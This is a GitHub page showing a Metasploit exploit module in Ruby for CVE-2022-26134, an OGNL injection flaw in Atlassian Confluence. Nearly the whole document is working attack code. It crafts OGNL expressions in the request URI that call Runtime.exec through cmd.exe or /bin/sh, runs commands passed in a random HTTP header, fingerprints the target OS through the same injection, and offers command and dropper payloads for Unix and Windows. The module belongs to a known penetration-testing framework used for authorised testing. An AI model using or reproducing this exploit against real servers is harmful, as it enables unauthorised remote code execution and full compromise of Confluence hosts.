-
Notifications
You must be signed in to change notification settings - Fork 13.8k
/
atlassian_confluence_namespace_ognl_injection.rb
187 lines (167 loc) · 5.84 KB
/
atlassian_confluence_namespace_ognl_injection.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Atlassian Confluence Namespace OGNL Injection',
'Description' => %q{
This module exploits an OGNL injection in Atlassian Confluence servers. A specially crafted URI can be used to
evaluate an OGNL expression resulting in OS command execution.
},
'Author' => [
'Unknown', # exploited in the wild
'bturner-r7',
'jbaines-r7',
'Spencer McIntyre'
],
'References' => [
['CVE', '2022-26134'],
['URL', 'https://jira.atlassian.com/browse/CONFSERVER-79000?src=confmacro'],
['URL', 'https://gist.githubusercontent.com/bturner-r7/1d0b62fac85235b94f1c95cc4c03fcf3/raw/478e53b6f68b5150eefd53e0956f23d53618d250/confluence-exploit.py'],
['URL', 'https://github.com/jbaines-r7/through_the_wire'],
['URL', 'https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis']
],
'DisclosureDate' => '2022-06-02',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'win'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :cmd
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :dropper
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :cmd
}
],
[
'Windows Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :dropper
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8090
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def check
confluence_version = get_confluence_version
return CheckCode::Unknown('Failed to determine the Confluence version.') unless confluence_version
vprint_status("Detected Confluence version: #{confluence_version}")
confluence_platform = get_confluence_platform
unless confluence_platform
return CheckCode::Safe('Failed to test OGNL injection.')
end
vprint_status("Detected target platform: #{confluence_platform}")
CheckCode::Vulnerable('Successfully tested OGNL injection.')
end
def get_confluence_platform
# this method gets the platform by exploiting CVE-2022-26134
return @confluence_platform if @confluence_platform
header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}"
ognl = <<~OGNL.gsub(/^\s+/, '').tr("\n", '')
${
Class.forName("com.opensymphony.webwork.ServletActionContext")
.getMethod("getResponse",null)
.invoke(null,null)
.setHeader(
"#{header}",
Class.forName("javax.script.ScriptEngineManager")
.newInstance()
.getEngineByName("js")
.eval("java.lang.System.getProperty('os.name')")
)
}
OGNL
res = inject_ognl(ognl)
return nil unless res
res.headers[header]
end
def exploit
confluence_platform = get_confluence_platform
unless confluence_platform
fail_with(Failure::NotVulnerable, 'The target is not vulnerable.')
end
unless confluence_platform.downcase.start_with?('win') == (target['Platform'] == 'win')
fail_with(Failure::NoTarget, "The target platform '#{confluence_platform}' is incompatible with '#{target.name}'")
end
print_status("Executing #{payload_instance.refname} (#{target.name})")
case target['Type']
when :cmd
execute_command(payload.encoded)
when :dropper
execute_cmdstager
end
end
def execute_command(cmd, _opts = {})
header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}"
ognl = <<~OGNL.gsub(/^\s+/, '').tr("\n", '')
${
Class.forName("com.opensymphony.webwork.ServletActionContext")
.getMethod("getResponse",null)
.invoke(null,null)
.setHeader("#{header}",
Class.forName("javax.script.ScriptEngineManager")
.newInstance()
.getEngineByName("js")
.eval("java.lang.Runtime.getRuntime().exec([
#{target['Platform'] == 'win' ? "'cmd.exe','/c'" : "'/bin/sh','-c'"},
com.opensymphony.webwork.ServletActionContext.getRequest().getHeader('#{header}')
]); '#{Faker::Internet.uuid}'")
)
}
OGNL
res = inject_ognl(ognl, 'headers' => { header => cmd })
unless res && res.headers.include?(header)
fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}")
end
vprint_good("Successfully executed command: #{cmd}")
res.headers[header]
end
def inject_ognl(ognl, opts = {})
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, Rex::Text.uri_encode(ognl), 'dashboard.action')
}.merge(opts))
end
end